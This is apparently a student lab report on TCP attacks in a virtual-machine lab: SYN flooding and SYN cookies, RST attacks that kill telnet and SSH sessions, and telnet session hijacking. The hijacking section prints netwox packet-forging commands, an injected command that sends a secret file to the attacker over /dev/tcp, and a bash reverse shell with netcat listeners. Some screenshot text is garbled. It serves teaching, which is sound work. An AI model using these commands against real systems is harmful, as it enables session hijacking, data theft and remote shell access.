
Assignment 2

The following IPs have been assigned to the 3 machines. Seed - 10.0.10.4, Kali - 10.0.10.5 and User - 10.0.10.6. For 2.1 and 2.2 activity, all 3 machines are on NAT network and 2.3 is done on host only mode.


2.1 When cookies are disabled on seed and there is no active telenet session.




We will start the syn flood from kali to seed machine on port 23 i.e. used for telnet.


Kali [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help




Active flooding at Seed






Assignment 2

Let's try to establish a telnet connection from user machine to the server. As you can see, because of the attack on port 23, we are not able to connect.



When the attack is stopped or terminated, telnet session is established as seen below.

Ubuntu-Crypto [Running] - Oracle VM VirtualBox




Let's turning ON syn cookies on victim machine

Assignment 2

Seed [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help


Terminator



Once the Syn Cookies are ON, starting the attack again

Kali [Running] - Oracle VM VirtualBox


File Machine View Input Devices Help



You can see that after turning the syn cookies on, telnet session can be established despite the fact the flooding on the port 23.

🌠 Ubuntu-Crypto [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help



Assignment 2

Observation and Explanation: It has been observed that by enabling syn cookies, although the attacker is performing syn flooding attack on server telnet port, the user is able to establish telnet session. On the other hand, if the syn cookies are turned off, the user is not able to establish a telnet session. The attack can be observed from the wireshark as well as with the netstat command.


Note: We have tried the flooding first with the network settings of "Host-only Adapter" we could see the attack in wireshark but netstat command was not showing enough data and the user was able to connect on telnet. After switching all 3 machines to NAT, the wireshark and netstat showed similar attack results and the experiment was successful.

Syncookie protection: Utilizing cryptographic hashing, the server sends its SYN-ACK response with a sequence number that is developed from the client IP address, port number, and perhaps other one of a kind identifying information. At the point when the client response, this hash is incorporated into the ACK packet. The server confirms the ACK, and only then allocates memory for the connection.

Assignment 2


2.2 TCP Reset Attack on Telnet and SSH

We have an active telnet session between user and seed. The attacker has observed the packet details by wireshark



We will try send a reset packet from attacker machine to terminate the telnet session between user and seed. The packet will contain reset flag and last sequence number from the captured packet.






We can see on the telnet session window, it has been terminated

Assignment 2



Ubuntu-Crypto [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help




We will establish ssh connection and try the same




Ubuntu-Crypto [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help




ssh session established

Assignment 2




Reset Attack

Kali [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help




As you can see in the above screen shots, we need source and destination IP addresses and ports along with the sequence number and reset flag. You can see in the image below, the session terminates.

Assignment 2



Attack with host only adapter



Assignment 2

```
File Edit View Search Terminal Help
 oot@osboxes:~# sudo netwox 40 -l 192.168.56.101 -m 192.168.56.103 -o 53928 -p 23 -q 13
56989352-B
Option '-q|--tcp-seqnum' could not be set
Error 1006 : not converted
root@osboxes:~# sudo netwox 40 -l 192.168.56.101 -m 192.168.56.103 -o 53928 -p 23 -q 13 56989352 -B
IΡ
version| ihl
                                                totlen
   sion \begin{bmatrix} 1.05287 \\ 4 \end{bmatrix}
                        tos
                                              0x0028=40 6 103
                      0 \times 00 = 0
                                   rIDIMI
                                                offsetfrag
     0x2FB9=12217
                                  0000
                                                0×0000=0
                     protocol
                                               checksum
                                              0x98FAtaptured
  Fr:0x00=0: 66 b
                  tes 0x06=6 e
                              source ba
      ernet Protocol Vers 192.168.56.1012
                          ro destination o
                          192.168.56.103
TCP
                                          destination port
           source port
          0xD2A8=53928
                                              0x0017=23
                              segnum
          34 db 3c 40 0x50E203A8=1356989352
                             acknum
        1 0e 61 b4 00 00 01
                           0x00000000=0
  doff
        |r|r|r|r|C|E|U|A|P|R|S|F|
                                               window
        [0]0[0]0[0]0[0]0[0]1[0]0[
                                              0×0000=0
            checksum
                                               urgptr
          0x9679=38521
                                               0x0000=0
```

Rst attack

```
customization Downloads Music secret Temple [03/18/19]seed@VM:~$ Connection closed by foreign host.cs4351@cs4351-VirtualBox:~$
```


For ssh

```
cs4351@cs4351-VirtualBox:~$ ssh 192.168.56.103 -l seed
seed@192.168.56.103's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)


* Documentation: https://help.ubuntu.com
    * Management: https://landscape.canonical.com
    * Support: https://ubuntu.com/advantage

3 packages can be updated.
0 updates are security updates.
Last login: Mon Mar 18 04:16:55 2019 from 192.168.56.103
[03/18/19]seed@VM:~$
```

Assignment 2



Kali command for reset attack



Assignment 2

```
Customization Downloads
                         Music
                                           secret
                                                      Templates
[03/18/19]seed@VM:~$ ls
android
                         examples.desktop
                                                     secret.save Videos
               Desktop
                                           Pictures
bin
               Documents
                         lib
                                           Public
                                                     source
Customization Downloads Music
                                           secret
                                                     Templates
[03/18/19]seed@VM:~$ packet_write_wait: Connection to 192.168.56.103 port 22: Br
oken pipe
cs4351@cs4351-VirtualBox:~$
```


Observations: Once we have obtained the sequence numbers from wireshark, we can easily forge new packets and terminate ongoing communication by sending a 'RST' or 'FIN' flag. The attack was successful.

Assignment 2

2.3 TCP Session Hijacking

To do this, we need to establish a telnet session between user and seed and observe the packet sequence sent between two computers. User - 192.168.56.101, Server (seed) - 192.168.56.103 and Kali - 192.168.56.104.

Ubuntu-Crypto [Running] - Oracle VM VirtualBox




The following table explains the packet exchange between client(user) and server(seed) are as follows

Client			Server
Seq# 1996027072			
Ack# 3525846844	ACK		
Seq# 1996027072			
Ack# 3525846844	PSH, ACK		
		PSH, ACK	Seq# 3525846844
			Ack# 1996027073
Seq# 1996027073			
Ack# 3525846845	ACK		
Seq# 1996027073			
Ack# 3525846845	PSH, ACK		
		PSH, ACK	Seq# 3525846846
			Ack# 1996027074
Seq# 1996027074			
Ack# 3525846846	ACK		
Seq# 1996027074			
Ack# 3525846846	PSH, ACK		

We can use the above highlighted Seq# and Ack# for our next forged packet. We also need to create a secret file for demonstration purpose, that the hijacker is interested to read. We will create this file on the server.

Assignment 2



To hijack the session, we need the following


- 1. Source and destination IPs and Ports of connecting computers i.e. client(user) and server(seed).
- 2. From the last wireshark captured communication packet, the sequence number and acknowledgement number, which we will use to forge a new packet.
- 3. Let's try to read the secret file with the hijacked session. To do this, we first need to encode the following command "\ncat /home/seed/secret > /dev/tcp/192.168.56.104/9090\n"

```
root@osboxes:~# python
Python 2.7.14 (default, Sep 17 2017, 18:50:44)
[GCC 7.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "\ncat /home/seed/secret > /dev/tcp/192.168.56.104/9090 \n".encode("hex")
'0a636174202f686f6d652f736565642f736563726574203e202f6465762f7463702f3139322e313
6382e35362e3130342f39303930200a'
```

Let's use this hex code to forge a new tcp attacker packet to read the content of secret file On the other hand, we need to keep netcat running on port 9090 to listen for communications

```
root@osboxes:~# nc -l -p 9090 -v
listening on [any] 9090 ...
```

We can see as soon as the packet is formed, the netcat window captures the results



We can see the wireshark results too showing the forget packet

```
829 2019-03-18 03:47:06.1830245... 192.168.56.101
                                                            192.168.56.103
                                                                                              66 51800
Frame 828: 164 bytes on wire (1312 bits), 164 bytes captured (1312 bits) on interface 0
▶ Ethernet II, Src: PcsCompu_51:e2:df (08:00:27:51:e2:df), Dst: PcsCompu_f3:42:b3 (08:00:27:f3:42:b3)
▶ Internet Protocol Version 4, Src: 192.168.56.103, Dst: 192.168.56.101
Transmission Control Protocol, Src Port: 23, Dst Port: 51800, Seq: 860900319, Ack: 4247234905, Len:
   Source Port: 23
    Destination Port: 51800
    [Stream index: 2]
    [TCP Segment Len: 98]
 Sequence number: 860900319
    [Next sequence number: 860900417]
   Acknowledgment number: 4247234905
   Header Length: 32 bytes
  ▶ Flags: 0x018 (PSH, ACK)
   Window size value: 227
     08 00 27 f3 42 b3 08 00 27 51 e2 df 08 00 45 10
                                                          ..S.@.@. .=..8g..
8e...X<mark>3P K.</mark>.'.Y..
0010 00 96 53 f7 40 00 40 06 f4 3d c0 a8 38 67 c0 a8
0020 38 65 00 17 ca 58 <mark>33 50</mark>
                                4b df
                                     fd 27 a9 59 80 18
0030 00 e3 f2 a5 00 00 <mark>01 01 08 0a 00 12 86 00 08 f5</mark>
0040 7d 4c 0d 0a 5b 30 33 2f
                               31 38 2f 31 39 5d 73 65
                                                          }L..[03/ 18/19]se
0050 65 64 40 56 4d 3a 7e 24
                               20 63 61 74 20 2f 68 6f
                                                           ed@VM:~$ cat /ho
0060 6d 65 2f 73 65 65 64 2f
                               73 65 63 72 65 74 20 3e
                                                          me/seed/ secret >
0070 20 2f 64 65 76 2f 74 63
                               70 2f 31 39 32 2e 31 36
                                                           /dev/tc p/192.16
0080 38 2e 35 36 2e 31 30 34
                                                          8.56.104 /9090..[
                               2f 39 30 39 30 0d 0a 5b
0090 30 33 2f 31 38 2f 31 39
                               5d 73 65 65 64 40 56 4d
                                                          03/18/19 ]seed@VM
00a0 3a 7e 24 20
```

4. To create a reverse shell on the attacker machine, we need the hex value of the following command "/bin/bash -I > /dev/tcp/192.168.56.104/9090 0<&1 2>&1"

```
>>> "\n/bin/bash -i > /dev/tcp/192.168.56.104/9090 0<&1 2>&1\n".encode("hex")
'0a2f62696e2f62617368202d69203e202f6465762f7463702f3139322e3136382e35362e3130342
f3930393020303c263120323e26310a'
>>>
```

5. We will use the above generated hex value to forge the next packet from the attacker machine In this case, since the sequence number has changed, we will use the next sequence number from the last captured packet on wireshark. Before we do this, we will start netcat again to actively listen to the port number that we have specified in the command i.e. 9090 to listen to the communication

```
root@osboxes:~# nc -l -p 9090 -v
listening on [any] 9090 ...
```

Assignment 2

```
s:~# sudo netwox 40 -l "192.168.56.101" -m "192.168.56.103" -o "51802
  -p "23" -q "445672083" -r "2772067216" -z -A -E "2000" -H "0a2f62696e2f6261736
8202d69203e202f6465762f7463702f3139322e3136382e35362e3130342f3930393020303c26312
0323e26310a"
IP
                                                totlen
version
           ihl
                        tos
                      0x00=0
                                               0x005F=95
            5
                                                 offsetfrag
                id
                                   rIDIMI
                                   0 | 0 | 0 |
                                                  0×0000=0
           0x0412=1042
       ttl
                     protocol
                                               checksum
     0x00=0
                      0x06=6
                                                0xC46A
                               source
                           192.168.56.101
                             destination
                           192.168.56.103
ГСР
                                           destination port
            source port
          0xCA5A=51802
                                               0x0017=23
                               seqnum
                       0x1A906A93=445672083
                               acknum
                       0xA53A6390=2772067216
        |r|r|r|r|C|E|U|A|P|R|S|F|
|0|0|0|0|0|0|1|1|0|0|0|
                                                window
                                              0x07D0=2000
            checksum
                                                urgptr
          0xC4B3=50355
                                               0 \times 0.000 = 0
0a 2f 62 69 6e 2f 62 61 73 68 20 2d
                                          69 20 3e 20 # ./bin/bash -i >
             2f 74 63 70 2f 31 39 32
                                         2e 31 36 38 # /dev/tcp/192.168
2f 64 65 76
2e 35 36 2e 31 30 34 2f 39 30 39 30 20 30 3c 26 31 20 32 3e 26 31 0a
                                                       # .56.104/9090 0<&
                                                        # 1 2>&1.
          (es:~#
 File Edit View Search Terminal Help
         oxes:~# nc -l -p 9090 -v
 listening on [any] 9090 ...
 192.168.56.103: inverse host lookup failed: Unknown host
 connect to [192.168.56.104] from (UNKNOWN) [192.168.56.103] 47754
 [03/18/19]seed@VM:~$
```

This brings the hijacked telnet session into the netcat screen and the user screen remains hanged.

```
862 2019-03-18 03:49:56.8410555... 192.168.56.101
                                                              192.168.56.103
                                                                                     TELNET
                                                                                                109 Telnet D
   863 2019-03-18 03:49:56.8414161... 192.168.56.103
                                                              192.168.56.101
                                                                                     TEL NET
                                                                                                 68 Telnet D
   869 2019-03-18 03:49:57.0549264... 192.168.56.103
                                                              192.168.56.101
                                                                                     TELNET
                                                                                                142 Telnet D
Frame 862: 109 bytes on wire (872 bits), 109 bytes captured (872 bits) on interface 0 Ethernet II, Src: PcsCompu_f3:42:b3 (08:00:27:f3:42:b3), Dst: PcsCompu_51:e2:df (08:00:27:51:e2:df)
Internet Protocol Version 4, Src: 192.168.56.101, Dst: 192.168.56.103
Transmission Control Protocol, Src Port: 51802, Dst Port: 23, Seq: 445672083, Ack: 2772067216, Len:
  Source Port: 51802
  Destination Port: 23
  [Stream index: 5]
  [TCP Segment Len: 55]
   [Next sequence number: 445672138]
  Acknowledgment number: 2772067216
  Header Length: 20 bytes
▶ Flags: 0x018 (PSH, ACK)
  Window size value: 2000
000 08 00 27 51 e2 df 08 00 27 f3 42 b3 08 00 45 00
                                                            ..'Q.... '.B...E.
010 00 5f 04 12 00 00 00 06 c4 6a c0 a8 38 65 c0 a8
                                                             _.....j..8e..
                                                            8g.Z...j..:c.P.
020 38 67 ca 5a 00 17 1a
                                   93 a5 3a 63 90 50 18
    07 d0 c4 b3 00 00 0a 2f
                                62 69 6e 2f 62 61 73 68
                                                             -i > /d ev/tcp/1
    20 2d 69 20 3e 20 2f 64
                                65 76 2f 74 63 70 2f 31
    39 32 2e 31 36 38 2e 35
                                36 2e 31 30 34 2f 39 30
                                                            92.168.5 6.104/90
                                                            90 0<&1 2>&1.
    39 30 20 30 3c 26 31 20 32 3e 26 31 0a
```

Assignment 2

The attacker can access files on the server.

```
sboxes:~# nc -lhap 9090 -v
listening on [any] 9090 ...
192.168.56.103: inverse host lookup failed: Unknown host
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.103] 47754
[03/18/19]seed@VM:~$ ls
ls
android
bin
Customization
Desktop
Documents
Downloads
examples.desktop
lib
Music
Pictures
Public
secret
source
Templates
Videos
[03/18/19]seed@VM:~$ cat secret 61 73 68 20 2d 69 20 3e 20 #
cat secret
This is my secret data:
[03/18/19]seed@VM:~$
```

Observations: This part took some time because of the sequence and acknowledgement numbers, once we understand the packet flow and the numbers, it is very easy to forge a new packet to hijack the telnet session. To know the attack was successful the info of the file observed in attacker listening port.

Team Contribution:

Adeel Malik: Successfully installed and conducted all the part.

Nazia Sharmin: Conducted part 2.1 and 2.2 successfully and took assistance from Malik for part three in sequence number and ack num correction.

Final part: Matched our result and combined together